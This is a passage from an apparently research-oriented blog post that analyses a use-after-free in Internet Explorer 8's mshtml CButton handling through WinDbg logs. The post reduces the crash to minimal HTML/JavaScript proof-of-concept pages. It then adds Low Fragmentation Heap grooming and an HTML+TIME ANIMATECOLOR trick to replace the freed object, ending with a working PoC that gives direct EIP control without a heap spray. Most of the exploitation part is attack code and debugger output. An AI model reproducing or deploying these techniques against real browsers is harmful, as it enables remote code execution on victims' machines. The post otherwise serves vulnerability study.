    3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137
    3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c
    3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe
    3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
    3d7c12e5 jscript!ScrFncObj::Call+0x0000008f
    3d7c1113 jscript!CSession::Execute+0x00000175


1:022&gt; kv
ChildEBP RetAddr  Args to Child
0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef
0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x47
0336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f
0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x12
0336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x183
0336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x28
0336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])
0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])
0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])
0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])

</pre>

Just from this initial run we can already draw some conclusions. The freed object was a CButton object, as can be deducted from the stack trace of the freed memory “mshtml!CButton::`vector deleting destructor'”. And the reuse of the freed memory seem to occur when the onload handler is completely finished: mshtml!CMarkup::OnLoadStatusDone+0x4ef.

When we look back at the HTML code some of it makes sense

<pre>
e1.appendChild(document.createElement('button'));
</pre>

This is most likely the code that created the object that is freed later on. Let see if we can find out at what point the object is being freed and when it is being reused. For that we change the javascript to include some log messages that we can use to determine when things are happening. We will also add 2 breakpoints the keep track of the creation and deletion of CButton objects. Creating a CButton object will go through “CButton::CreateElement“.

Analysis-2

If we set a breakpoint just after the call to HeapAlloc we know the address of the CButton that has been created. We already know the function responsible for deleting a CButton object and we will set a breakpoint there as well.

Analysis-3

By adding javascript log messages between all the call we can easily keep track of the progress of the poc while it runs.

<pre>
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;script&gt;
    function helloWorld() {
                var e0 = null;
        var e1 = null;
        var e2 = null;
        try {
            Math.atan2(0xbadc0de, "before get element a")
            e0 = document.getElementById("a");
            Math.atan2(0xbadc0de, "before get element b")
            e1 = document.getElementById("b");
            Math.atan2(0xbadc0de, "before create element q")
            e2 = document.createElement("q");
            Math.atan2(0xbadc0de, "before apply element e1(b) -&gt; e2(q)")
            e1.applyElement(e2);
            Math.atan2(0xbadc0de, "before appendChild create element button")
            e1.appendChild(document.createElement('button'));
            Math.atan2(0xbadc0de, "before applyElement e1 -&gt; e0")
            e1.applyElement(e0);
            Math.atan2(0xbadc0de, "before e2 outertext")
            e2.outerText = "";
            Math.atan2(0xbadc0de, "before e2 appendChild createElement body")
            e2.appendChild(document.createElement('body'));
            Math.atan2(0xbadc0de, "All done inside try loop")
        } catch(e) { }
        Math.atan2(0xbadc0de, "collecting garbage")
        CollectGarbage();
        Math.atan2(0xbadc0de, "Done collecting garbage")

    }

    &lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
    &lt;form id="a"&gt;
    &lt;/form&gt;
    &lt;dfn id="b"&gt;
    &lt;/dfn&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>

We now run the poc again.

<pre>
0:000&gt; sxe ld:jscript
0:000&gt; g
ModLoad: 3d7a0000 3d854000   C:WINDOWSsystem32jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:025&gt; bp jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:025&gt; bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:025&gt; bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", eax;.echo;g"
1:025&gt; bl
 0 e 3d7d8f09     0001 (0001)  1:**** jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
 1 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf "Created CButton at %p", eax;.echo;g"
 2 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf "Deleting CButton at %p", eax;.echo;g"
1:025&gt; g
before get element a
before get element b
before create element q
before apply element e1(b) -&gt; e2(q)
before appendChild create element button
Created CButton at 05312fa8
before applyElement e1 -&gt; e0
before e2 outertext
before e2 appendChild createElement body
All done inside try loop
collecting garbage
Deleting CButton at 3cf70d10
Done collecting garbage
(870.bcc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05312fa8 ebx=04dcef28 ecx=00000052 edx=00000000 esi=00000000 edi=05312fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05312fa8=????????
</pre>

We break when jscript.dll is loaded (sxe ld:jscript) and then set the breakpoints to print out the log messages and CButton creation and deletions. The CButton object is deleted during the call to CollectGarbage but is not reused until after that call is finished. So we can easily take control over the freed objects memory by creating some data of the right size, but more about that later.
The next step is trying to figure out why this use-after-free is actually happening. Microsoft already gave us some hints on the root cause of the issue with their blog post.

Lets go back to the crash and see where edi (pointing to the freed memory) comes from.

Analysis-4

Apparently the CElement::FindDefaultElem function returns the CButton element after it already has been freed. This is the function that Microsoft patched out with their Fix it Shim so we are on the right track. This function is called a few times before the process crashes so to make our life easier we wont break on this function but rather on the call to this function in the CMarkup::OnLoadStatusDone function. As a side note: it is also clear that it is realy easy to get EIP control through this freed object since we straight up grab the vftable from the freed object (mov eax, [edi]) and then call a function (call dword ptr [eax+0DCh]) from the vftable. Anyway, here is the windbg log with breakpoints at CButton create and delete so we know what the address of the CButton object was and a breakpoint in the CMarkup::OnLoadStatusDone function before the call to CElement::FindDefaultElem.

<pre>
0:000&gt; sxe ld:mshtml
0:000&gt; g
ModLoad: 3cea0000 3d45e000   C:WINDOWSsystem32mshtml.dll
1:025&gt; bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:025&gt; bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", ecx;.echo;g"
1:025&gt; bp !mshtml + 0x44224
1:025&gt; bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf "Created CButton at %p", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf "Deleting CButton at %p", ecx;.echo;g"
 2 e 3cee4224     0001 (0001)  1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc
1:025&gt; g
Created CButton at 055eefa8
Deleting CButton at 055eefa8
Breakpoint 2 hit
3cee4224 e80bc30100      call    mshtml!CElement::FindDefaultElem (3cf00534)
1:025&gt; t

&lt;snip&gt;

3cf00585 56              push    esi
3cf00586 8bc3            mov     eax,ebx
3cf00588 e84aa20400      call    mshtml!CElement::GetParentForm (3cf4a7d7)
1:025&gt;
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x51:
3cf0058d 8bf0            mov     esi,eax
3cf0058f 3bf2            cmp     esi,edx
3cf00591 0f857e4d1a00    jne     mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0]
1:025&gt;
3cf00597 395510          cmp     dword ptr [ebp+10h],edx ss:0023:0336d79c=00000000
3cf0059a 0f8569a71f00    jne     mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0]
1:025&gt;
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x96:
3cf005a0 8b87a8010000    mov     eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8

1:025&gt; dc 04c1a6a8
04c1a6a8  3cfa4f78 00000014 000000b8 00000000  xO.&lt;............
04c1a6b8  00000000 3cf46c50 04c1a6a8 021e1b8c  ....Pl. dds 04c1a6a8 L1
04c1a6a8  3cfa4f78 mshtml!CDoc::`vftable'
1:025&gt; !heap -p -a 04c1a6a8
    address 04c1a6a8 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 44cad98:          4c1a6a8              954 -          4c1a000             2000
          mshtml!CDoc::`vftable'
    7c919c0c ntdll!RtlAllocateHeap+0x00000e64
    3ceb29f0 mshtml!CDoc::operator new+0x00000013
    3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b
    3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f
    3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073
    3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d
    3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080
    3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626
    3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e
    3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c
    3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5
    3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2
    3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5
    781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c
    78136247 urlmon!CBinding::CallOnProgress+0x00000030
    7816180b urlmon!CBinding::InstantiateObject+0x000000b7

1:025&gt; p
3cf005a6 5e              pop     esi
3cf005a7 5f              pop     edi
3cf005a8 5b              pop     ebx
3cf005a9 5d              pop     ebp
3cf005aa c20c00          ret     0Ch
</pre>

The log has been edited to make it a little bit more readable, but what we gain from this is that our CButton object is still referenced in a CDoc element. The next step is to run the poc again (yes, we’ll be doing this a lot) and see why and when the reference is planted there. For this we will break on the mshtml!CDoc::operator new function and then set a memory breakpoint on CDoc Object + 0x1A8 to see which functions write to this location.

<pre>

Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "c:Program FilesInternet Exploreriexplore.exe" http://127.0.0.1/crash.html
Symbol search path is: srv*c:mss*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00400000 0049c000   iexplore.exe
ModLoad: 7c900000 7c9b2000   ntdll.dll
ModLoad: 7c800000 7c8f6000   C:WINDOWSsystem32kernel32.dll
ModLoad: 77dd0000 77e6b000   C:WINDOWSsystem32ADVAPI32.dll
ModLoad: 77e70000 77f03000   C:WINDOWSsystem32RPCRT4.dll
ModLoad: 77fe0000 77ff1000   C:WINDOWSsystem32Secur32.dll
ModLoad: 7e410000 7e4a1000   C:WINDOWSsystem32USER32.dll
ModLoad: 77f10000 77f59000   C:WINDOWSsystem32GDI32.dll
ModLoad: 77c10000 77c68000   C:WINDOWSsystem32msvcrt.dll
ModLoad: 77f60000 77fd6000   C:WINDOWSsystem32SHLWAPI.dll
ModLoad: 7c9c0000 7d1d7000   C:WINDOWSsystem32SHELL32.dll
ModLoad: 774e0000 7761e000   C:WINDOWSsystem32ole32.dll
ModLoad: 3dfd0000 3e1bb000   C:WINDOWSsystem32iertutil.dll
ModLoad: 78130000 78263000   C:WINDOWSsystem32urlmon.dll
ModLoad: 77120000 771ab000   C:WINDOWSsystem32OLEAUT32.dll
(8b0.770): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000&gt; sxe ld:mshtml
0:000&gt; g
Symbol search path is: srv*c:mss*http://msdl.microsoft.com/download/symbols
Executable search path is:
(4d8.398): Break instruction exception - code 80000003 (first chance)
eax=014a6fec ebx=7ffd6000 ecx=00000001 edx=00000002 esi=014aafb0 edi=014a6fec
eip=7c90120e esp=0013fb20 ebp=0013fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
1:014&gt; g
ModLoad: 3cea0000 3d45e000   C:WINDOWSsystem32mshtml.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336be40 ebp=0336bf34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023&gt; bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:023&gt; bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", ecx;.echo;g"
1:023&gt; bp !mshtml + 0x129f0
1:023&gt; bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf "Created CButton at %p", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf "Deleting CButton at %p", ecx;.echo;g"
 2 e 3ceb29f0     0001 (0001)  1:**** mshtml!CDoc::operator new+0x13
1:023&gt; sxe ld:jscript
1:023&gt; g
Breakpoint 2 hit
eax=04d8a6a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023&gt; ba w4 eax +  0x1A8
1:023&gt; g
ModLoad: 3d7a0000 3d854000   C:WINDOWSsystem32jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:023&gt; bp jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023&gt; g
before get element a
before get element b
before create element q
before apply element e1(b) -&gt; e2(q)
before appendChild create element button
Created CButton at 055a2fa8
Breakpoint 3 hit
eax=00000001 ebx=00000000 ecx=00000025 edx=055a6fd0 esi=04d8a850 edi=055a2fa8
eip=3d07da88 esp=0336a0c8 ebp=0336a0cc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CElement::SetDefaultElem+0x85:
3d07da88 5e              pop     esi
1:023&gt; ub
mshtml!CElement::SetDefaultElem+0x72:
3d07da75 85c0            test    eax,eax
3d07da77 740f            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da79 6a01            push    1
3d07da7b 8bc7            mov     eax,edi
3d07da7d e8d5b7ebff      call    mshtml!CElement::IsVisible (3cf39257)
3d07da82 85c0            test    eax,eax
3d07da84 7402            je      mshtml!CElement::SetDefaultElem+0x85 (3d07da88)
3d07da86 893e            mov     dword ptr [esi],edi
1:023&gt; kv
ChildEBP RetAddr  Args to Child
0336a0cc 3d2b4ebc 00000000 05584fb0 055a2fa8 mshtml!CElement::SetDefaultElem+0x85
0336a0e4 3d092c04 0336a13c 04c8cf28 0336a1b0 mshtml!CButton::Notify+0xbb
0336a180 3d09290a 04c8cf28 055a2fa8 0336a1a4 mshtml!CMarkup::InsertElementInternal+0x3f3
0336a1bc 3d0926c0 055a2fa8 00000000 00000001 mshtml!CDoc::InsertElement+0x8a
0336a250 3d09265a 00000000 0336a26c 0336a3a0 mshtml!UnicodeCharacterCount+0x27f
0336a2b8 3d092580 055a0fd8 00000000 0336a2f4 mshtml!CElement::InsertBeforeHelper+0xd1
0336a2d4 3d092707 0412efd8 055a0fd8 00000001 mshtml!CElement::insertBefore+0x3c
0336a314 3d092e7f 0412efd8 055a0fd8 0336a3a0 mshtml!CElement::appendChild+0x39
1:023&gt; dc edi L58/4
055a2fa8  3cf70d10 00000003 00000008 055a4fe8  ...&lt;.........OZ.
055a2fb8  029e5e00 05584fb0 00000012 80096200  .^...OX......b..
055a2fc8  00000006 04c8cf28 3cf782e0 00000000  ....(...... dds edi L1
055a2fa8  3cf70d10 mshtml!CButton::`vftable'
</pre>

It looks like the CElement::SetDefaultElem ‘forgets’ to call AddRef on an object before it adds a reference to the object to the main CDoc object. As such the object can be freed by removing all other references to the object and will still be accessible through the Default Element reference in the CDoc object.

Now that we have a rough idea of what is going on we can try to simplify the PoC a bit more. After I did my own reduction I read the BinVul.com blogpost by @h4ckmp who came to mostly the same conclusions as I did.

Lets start by reading and commenting the POC. First of all, we have a html document with an empty form element and a dfn element. When the document is loaded we start our evil code.

e0 = document.getElementById("a");

Get a reference to the form object

e1 = document.getElementById("b");

Get a reference to the dfn object

e2 = document.createElement("q");

Create a ‘Q’ element

e1.applyElement(e2);

Set the Q element as the parent of the DFN object. Our (partial) DOM Tree looks like this: Q->DFN

e1.appendChild(document.createElement('button'));

We added a Button element to the DFN Element and our DOM Tree now looks like this: Q->DFN->BUTTON

e1.applyElement(e0);

We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: Q->FORM->DFN->BUTTON

e2.outerText = "";

And we just deleted everything …. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again.

e2.appendChild(document.createElement('body'));

This code is not really necessary to cause the use-after-free but it does make it easier to trigger. I tried to dig up why bit couldn’t come up with an easy explanation.

Just looking at this makes me wonder if we can make this a little bit cleaner. Maybe we don’t even need the DFN and the Q objects at all and just adding a Button to a document and then assigning it to a FORM object might be enough to trigger this issue.

To test this I created the following POC

<pre>
&lt;!doctype html&lt;
&lt;html&lt;
&lt;head&lt;
    &lt;script&lt;
        function helloWorld() {
                e_form = document.getElementById("formelm");
                e_div = document.getElementById("divelm");
                e_div.appendChild(document.createElement('button'))
                e_div.firstChild.applyElement(e_form);
                e_div.innerHTML = ""
                e_div.appendChild(document.createElement('body'));
                CollectGarbage();
        }

    &lt;/script&lt;
&lt;/head&lt;
&lt;div id="divelm"&lt;&lt;/div&lt;
&lt;body onload="eval(helloWorld())"&lt;
    &lt;form id="formelm"&lt;
    &lt;/form&lt;
&lt;/body&lt;
&lt;/html&lt;
</pre>

And yes, this causes the same problem. After running this through windbg with some log messages we get the following result

<pre>

0:000&gt; sxe ld:mshtml
0:000&gt; g
1:023&gt; bp !mshtml + 0x414c27 ".printf "Created CButton at %p", eax;.echo;g"
1:023&gt; bp !mshtml + 0x414ae1 ".printf "Deleting CButton at %p", ecx;.echo;g"
1:023&gt; bp !mshtml + 0x129f0
1:023&gt; g
Breakpoint 2 hit
eax=04ed86a8 ebx=00000000 ecx=7c9101db edx=00155000 esi=3d3dedd0 edi=00000000
eip=3ceb29f0 esp=0336d464 ebp=0336d468 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CDoc::operator new+0x13:
3ceb29f0 c3              ret
1:023&gt; ba w4 eax +  0x1A8 ".printf "Just added the Default Element";.echo;g"
1:023&gt; sxe ld:jscript
1:023&gt; g
ModLoad: 3d7a0000 3d854000   C:WINDOWSsystem32jscript.dll
1:023&gt; bp jscript!JsAtan2 ".printf "%mu", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:023&gt; g
before creating the button and adding it to the div element
Created CButton at 05748fa8
Just added the Default Element
before adding button to Form
before clearing out the div innerHTML
adding body element to the div
collecting garbage
Deleting CButton at 05748fa8
Done collecting garbage
(ca4.6b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05748fa8 ebx=04c94f28 ecx=00000052 edx=00000000 esi=00000000 edi=05748fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05748fa8=????????
</pre>


You can even clean it up further by removing the DIV element and adding the Button directly to the document.body but that does change things a little bit and make the exploitation a bit less straightforward

Exploitation

Anyway, we now know enough to start writing and exploit. We know the size of the freed object and we know when it is being freed, so it is pretty easy to replace the freed memory with something we control. First we want to make sure that the memory being used by the CButton object is allocated by the Low Fragmentation Heap. This will make replacing the freed memory much more reliable because the LFH does not merge coalescent free blocks and will happily reuse the last free block within a certain block range. The freed CButton object has a size of 0x58 (see CButton::CreateElement) so all we need to do is create an allocation of that size and we will refill the freed memory space.
To make sure the memory occupied by the CButton object will be LFH memory we need to enable the LFH for this memory size. I quote Valasek: “The most common trigger for enabling the LFH is 16 consecutive allocations of the same size.

Of course we need to make sure that we disable pageheap and just to be sure we will also not use the debugheap when running the process with windbg attached.
Analysis-5

We added some code to enable the LFH for the CButton element and the added code to replace the freed memory.

<pre>
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;script&gt;
    function helloWorld() {
            e_form = document.getElementById("formelm");
            e_div = document.getElementById("divelm");

            for(i =0; i &lt; 20; i++) {
                document.createElement('button');
            }

            Math.atan2(0xbadc0de, "before creating the button and adding it to the div element")
            e_div.appendChild(document.createElement('button'))

            Math.atan2(0xbadc0de, "before adding button to Form")
            e_div.firstChild.applyElement(e_form);

            Math.atan2(0xbadc0de, "before clearing out the div innerHTML")
            e_div.innerHTML = ""

            Math.atan2(0xbadc0de, "adding body element to the div")
            e_div.appendChild(document.createElement('body'));
            Math.atan2(0xbadc0de, "collecting garbage")
            CollectGarbage();
            e_div.className = "u2424u2424exodusintel.com--------------------------";
            Math.atan2(0xbadc0de, "Done collecting garbage")
    }

    &lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
    &lt;div id="divelm"&gt;&lt;/div&gt;
    &lt;form id="formelm"&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

running this results in the following crash

<pre>
(f90.bd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=24242424 ebx=0021f728 ecx=00000052 edx=00000000 esi=00000000 edi=00235088
eip=3d086271 esp=0162d79c ebp=0162d80c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
3d086271 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:24242500=????????
1:025&gt; dc edi
00235088  24242424 00780065 0064006f 00730075  $$$$e.x.o.d.u.s.
00235098  006e0069 00650074 002e006c 006f0063  i.n.t.e.l...c.o.
002350a8  002d006d 002d002d 002d002d 002d002d  m.-.-.-.-.-.-.-.
002350b8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350c8  002d002d 002d002d 002d002d 002d002d  -.-.-.-.-.-.-.-.
002350d8  002d002d 0000002d eaa7c6ac ff0c0100  -.-.-...........
002350e8  3cf74690 0021f728 002347f8 3cf77870  .F.&lt;(.!..G#.px.&lt;
002350f8  00000001 00000000 01000808 ffffffff  ................
</pre>

Well that it is pretty obvious we should be able to turn this into a full blown exploit. But wouldnt it be nice if we could actually control EIP and not just a call from a controlled register + offfset? To make this reliable most exploit writers go for heapspray and then go from there, but that is not really necessary for IE8 exploits. Assuming we don’t need to force memory disclosure to bypass ASLR and we can rely on a module that doesn’t opt in to ASLR being present in the process, there are other options availble for the casual exploit writer. As far as I know this is a new technique but since it doesn’t apply to IE9 I dont mind dropping it here.

Internet Explorer 8 has support for HTML+TIME which is based on the Synchronized Multimedia Integration Language (SMIL) something nobady cares about anymore I think. Support for this has been removed in IE9 and higher, but we can still do some funny things with this in IE8. More precisely, it allows us to create an arbitrary sized array containing pointers to strings that we control. With this we can take control over the freed 0x58 sized memory and then have the vftable point to a string that is completely under our control, and thus we control where call [eax+0xDC] would go without using a heapspray. at which point we have control over the memory in eax and we have edi point to a list of pointers where we control the data as well. All in all that should be enough to write a poc that does not need heapsprays at all.

For this trick to work we need to add some funny things to the HTML or the HTML+TIME stuff doesn’t work as expected.

<pre>
&lt;HTML XMLNS:t ="urn:schemas-microsoft-com:time"&gt;
&lt;head&gt;
    &lt;meta&gt;
        &lt;?IMPORT namespace="t" implementation="#default#time2"&gt;
    &lt;/meta&gt;
.
.
.
    &lt;t:ANIMATECOLOR id="myanim"/&gt;
.
.
.
</pre>

by setting the ‘values‘ property of the t:ANIMATECOLOR element to a semicolon separated string we can create an array of pointers that point to the individual elements of the string. So we need to use a string that has 0x58/4 == 0x22 values.

<pre>
animvalues = "u4141u4141"
while(animvalues.length &lt; 0xDC) {
    animvalues += animvalues
}
for(i = 0; i &lt; 21; i++) {
    animvalues += &quot;;cyan&quot;;
}
</pre>

Then we can set the values property to this string and voila, we control EIP directly

<pre>
try {
    a = document.getElementById('myanim');
    a.values = animvalues;
}
catch(e) {}
</pre>

Because the values are suposed to be legit colors you need to do this in a try-except construct so you don’t throw an error and stop the execution of the script. Also, doing this will create some ‘noise’ with additional allocations being made, but nothing that isn’t controllable.

Adding this we get the following POC:

<pre>
&lt;!doctype html&gt;
&lt;HTML XMLNS:t ="urn:schemas-microsoft-com:time"&gt;
&lt;head&gt;
&lt;meta&gt;
    &lt;?IMPORT namespace="t" implementation="#default#time2"&gt;
&lt;/meta&gt;
&lt;script&gt;
    function helloWorld() {
        e_form = document.getElementById("formelm");
        e_div = document.getElementById("divelm");
        animvalues = "u4141u4141"
        while(animvalues.length &lt; 0xDC) {
            animvalues += animvalues
        }
        for(i = 0; i &lt; 21; i++) {
            animvalues += ";cyan";
        }
        for(i =0; i &lt; 20; i++) {
            document.createElement('button');
        }
        e_div.appendChild(document.createElement('button'))
        e_div.firstChild.applyElement(e_form);

        e_div.innerHTML = ""
        e_div.appendChild(document.createElement('body'));

        CollectGarbage();

        try {
            a = document.getElementById('myanim');
            a.values = animvalues;
        }
        catch(e) {}

    }

&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
    &lt;t:ANIMATECOLOR id="myanim"/&gt;
    &lt;div id="divelm"&gt;&lt;/div&gt;
    &lt;form id="formelm"&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>

Download the POC here.
Running this results in:

<pre>
(fbc.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001bb0f8 ebx=0021fac0 ecx=00000052 edx=00000000 esi=00000000 edi=00235880
eip=41414141 esp=0162d798 ebp=0162d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
41414141 ??              ???
1:028&gt; dc eax
001bb0f8  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb108  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb118  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb128  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb138  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb148  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb158  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
001bb168  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
1:028&gt; dc edi
00235880  001bb0f8 02367fc8 02367fe0 0018ec10  ......6...6.....
